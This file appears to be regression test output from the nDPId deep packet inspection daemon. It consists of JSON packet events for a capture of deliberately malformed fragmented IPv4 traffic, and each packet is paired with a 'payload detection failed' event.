+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219691,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219698,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219705,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219716,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219727,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219739,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219751,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219762,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219774,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219788,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219800,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219812,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219825,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219836,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219848,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219860,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219871,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219885,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219898,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219910,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219921,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219932,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219944,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219955,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219967,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219979,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":219990,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220002,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220014,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220026,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220038,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220054,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220068,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220079,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220091,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220103,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220117,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220129,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220140,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220152,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220163,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":220175,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 